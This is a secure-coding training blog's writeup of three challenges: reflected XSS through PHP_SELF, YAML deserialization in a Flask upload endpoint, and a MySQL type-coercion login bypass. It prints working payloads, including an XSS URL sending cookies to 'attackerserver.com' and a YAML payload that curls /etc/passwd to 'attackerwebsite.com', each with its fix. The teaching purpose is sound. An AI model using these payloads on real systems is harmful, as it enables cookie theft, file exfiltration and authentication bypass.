Cyber Security Awareness Month 2021 Challenge Writeup

The post-mortem… or a security rebirth?

As most of you reading this post will appreciate, #CyberSecurityAwarenessMonth is that special time of year when well-meaning infosec folk from around the globe place gifts of knowledge under the internet tree in the hope that the masses - humanoid and corporate - will be inspired to lift their game security-wise. And although October is now a mere speck in the rear-vision mirror, the lessons learned and motivation to do more to protect ourselves must remain.

SecureFlag is a secure coding training platform - our core precept is perpetual, effective, practicable learning - and so it is in this spirit that we delightedly present to you a post-mortem of the inaugural, highly successful, definitely to be repeated, #SecureFlagChallenge!

First Challenge

Our first challenge started off with the following nasty PHP script.

<!-- form.php -->

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
  <input type="text" name="name"><br>
  <input type="text" name="email"><br>
  <input type="submit">
</form>

Most of this HTML form looks normal, but what the heck is <?php echo $_SERVER['PHP_SELF']> doing here?

Taking a look at the $_SERVER documentation, the $_SERVER['PHP_SELF'] key is described as follows:

The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/foo/bar.php would be /foo/bar.php.

Sounds fairly inoffensive; however, the URL is a user-controlled value, which should automatically ring the alarm bells. Inserting unsanitized data into the DOM? A recipe for disaster.

Assuming the URL were www.foo.com/subscribe.php, the intended result was likely:

<form method="post" action="/subscribe.php">

But consider the possibility of inserting the following, which would display the victim’s precious authentication cookies on the page:

<form method="post" action="/subscribe.php"/><script>alert(document.cookie)</script>">

How could it be done? Just modify the URL:

www.foo.com/subscribe.php/"><script>alert(document.cookie)</script>

With a more advanced payload, the victim’s authentication cookies could also be sent off to a remote server for storage!

www.foo.com/subscribe.php/"><script>document.write("<img src='http://attackerserver.com/'"+document.cookie+"'>");</script>

To avoid this kind of exposures, one possibility is to encode the user-controlled value before placing it in the returned page, for example with htmlspecialchars:

<form method="post" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES); ?>">

Second Challenge

In this challenge, there is a sneaky vulnerability lurking within a Flask endpoint that allows a configuration file to be uploaded and used.

from flask import Flask, request
from ruamel import yaml

app = Flask(__name__)

@app.route("/load_conf", methods=['POST'])
def load_conf():

    uploaded_conf = request.files['file']
    conf = yaml.load(uploaded_conf)

    return 'New configuration has been loaded'

This looks pretty harmless to the untrained eye, however recall that YAML is a data serialization format, which leaves open the possibility of insecure deserialization vulnerabilities.

The following example, when deserialized, will list files in the working directory. These exploits have been tested against ruamel version 0.16.12.

!!python/object/apply:subprocess.Popen
- ls

Using curl, /etc/passwd/ could be exfiltrated!

!!python/object/apply:subprocess.Popen
- !!python/tuple
 - curl
 - attackerwebsite.com
 - --data-binary
 - "@/etc/passwd"

Always be wary when choosing to serialize objects – it is often not necessary. If that’s the case, YAML can still be used safely, just use the safe_load counterpart:

conf = yaml.safe_load(uploaded_conf)

Third Challenge

We really meant it: this isn’t SQL injection! Very few people were able to determine the vulnerability here, so don’t feel too bad if you didn’t get it this time.

Here’s the vulnerable Python/Flask code:

@app.route('/', methods = ['POST'])
def private():

  auth_token = request.get_json().get('token')

  if auth_token != None:
    with mysql.connector.connect(host='db', database='app') as cnx:
      with cnx.cursor(buffered=True) as c:
        c.execute('SELECT name FROM user WHERE token = %s', (auth_token,))
        for name, in c:
          return 'Welcome, {}!\n'.format(name)

    abort(403)

The key part to note is in this line:

auth_token = request.get_json().get('token')

Python aficionados out there will know that Python is a dynamically typed language; i.e., it is not necessary to declare the type of variables. Those familiar with JSON will also be aware that it supports two types of value: strings and numbers. That makes the type of auth_token unknown; it could be either, depending on the data submitted.

This becomes a problem when SQL gets involved due to implicit conversions between types.

c.execute('SELECT name FROM user WHERE token = %s', (auth_token,))

In the above line, if auth_token is a string, then the SQL query will work as expected, comparing two strings. However, if auth_token is a number, then what happens?

SQL will attempt to convert the token strings to a DOUBLE by looking at any initial numeric values in the string, defaulting to 0 if there are none. For example, b51b5c13 would be converted to 0, and 470efc10 would be converted to 470. This could be abused by an attacker if they sent something like:

{
  "token": 0
}

which could bypass the authentication mechanism!

A simple way to avoid this behaviour is to force the type of token to be string as soon as it is fetched from the JSON request object:

auth_token = str(request.get_json().get('token'))

Continue reading